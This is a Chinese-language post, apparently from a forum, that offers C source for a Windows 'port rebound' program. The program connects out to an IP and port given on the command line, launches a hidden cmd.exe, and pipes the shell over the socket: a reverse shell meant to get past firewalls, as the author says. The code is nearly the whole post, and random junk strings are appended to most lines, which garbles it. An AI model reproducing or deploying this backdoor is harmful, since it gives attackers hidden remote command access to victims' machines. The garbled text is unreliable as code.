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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 )`mbf|,&t{  
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/* ============================== l 4!kxXf-<  
Rebound port in Windows NT [7'#~[a~  
By wind,2006/7 @81-kdTx  
===============================*/ AvyQ4xim+  
#include 6$;L]<$W>  
#include (*MNox?w  
Zd8drT'@#  
#pragma comment(lib,"wsock32.lib") -% >8.#~G  
sr;:Dvx~  
void OutputShell(); ;*W=c   
SOCKET sClient; OI*ZVD)J  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; DCt\E/  
Jc`Rs"2  
void main(int argc,char **argv) A%h~Z a  
{ ]7v81G5E  
WSADATA stWsaData; Wgav>7!9  
int nRet; c6t2Q6zV  
SOCKADDR_IN stSaiClient,stSaiServer; 5/ tj  
B*y;>q "{U  
if(argc != 3) ZH_FA  
{ &S<? 07Z  
printf("Useage:\n\rRebound DestIP DestPort\n"); xIM8  
return; }iD$4\ L  
} nDyvX1]  
XpR.rq$]  
WSAStartup(MAKEWORD(2,2),&stWsaData); "EN98^ Sl  
UHr {  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); EbG_43SV  
m{vT_ei  
stSaiClient.sin_family = AF_INET; a_Z.J3  
stSaiClient.sin_port = htons(0); tvTWZ`  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); -T2~W!  
]vRVo6@ k  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) +d@v AxP  
{ giaD9$C  
printf("Bind Socket Failed!\n"); xR *5q1j  
return; ylkpYd  
} *4-r`k|@>/  
Ok*VQKyDLH  
stSaiServer.sin_family = AF_INET; `@4 2jG}*  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); MhHr*!N"}  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 4,j4E@?pG9  
tDEXm^B2Sv  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ooomi"u  
{ EW ~*@H  
printf("Connect Error!"); fB_4f{E  
return; V/`#B$6  
} l{nB.m2  
OutputShell(); `x2fp6  
} qnabwF  
J'|=*#  
void OutputShell() '&RZ3@}+  
{ B1x'5S;Bq  
char szBuff[1024]; {'h)  
SECURITY_ATTRIBUTES stSecurityAttributes; c zZrP"  
OSVERSIONINFO stOsversionInfo; I h5/=_n  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; $|>6z_3%  
STARTUPINFO stStartupInfo; 5OPS&:  
char *szShell; ?+bTPl;%'  
PROCESS_INFORMATION stProcessInformation; D_O5k|-V  
unsigned long lBytesRead; *d^9,GGn-  
WA<H  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); mw:3q6  
D9}d]9]$  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); "B3iX@C  
stSecurityAttributes.lpSecurityDescriptor = 0; eA~J4k_  
stSecurityAttributes.bInheritHandle = TRUE; )EhTM-1  
"g x5XW&  
@:S$|D~  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); TvQWdX=  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); p3V9ikyy  
A28ZSL  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); X4Pm)N `  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C*"Rd   
stStartupInfo.wShowWindow = SW_HIDE; +i:  E  
stStartupInfo.hStdInput = hReadPipe; 9QX&7cs&[  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ~+nS)4 (  
 <'g0il  
GetVersionEx(&stOsversionInfo); zb@L)%  
/IGrp.}  
switch(stOsversionInfo.dwPlatformId) RA*_&Ll&!C  
{ M3hy5 j(b  
case 1: 0|WOReskK  
szShell = "command.com"; 3c1o,2  
break; 2z.k)Qx!Z  
default: ^AovkK(p  
szShell = "cmd.exe"; 0lLr[  
break; Wwn5LlJ^  
} 0z#l0-NdQ  
k$9Gn9L%  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 5"76R Gw=  
?3]h~( =  
send(sClient,szMsg,77,0); NUi{!<  
while(1) *D,v>(  
{ [,\'V0  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); E&RoaY0  
if(lBytesRead) [VfL v.8w  
{ *T.={>HE8  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); rg#qSrHp  
send(sClient,szBuff,lBytesRead,0); 8r7/IGFg  
} |u?k-,uI9  
else jD&}}:Dj  
{ k#l'ko/X  
lBytesRead=recv(sClient,szBuff,1024,0); {q5hF5!`)  
if(lBytesRead<=0) break;  @oe3i  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); "cnG/{($*  
} NTpz)R  
} #J%h!#3g  
v :'P"uU;4  
return; 9`nP(~  
}
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